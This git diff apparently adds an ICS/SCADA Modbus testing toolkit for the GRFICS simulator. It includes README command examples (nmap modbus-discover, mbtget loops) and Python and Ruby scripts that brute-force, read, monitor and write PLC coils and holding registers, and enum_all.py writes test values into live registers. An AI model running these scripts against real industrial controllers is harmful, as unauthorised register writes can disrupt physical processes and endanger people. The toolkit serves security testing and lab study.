+354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log 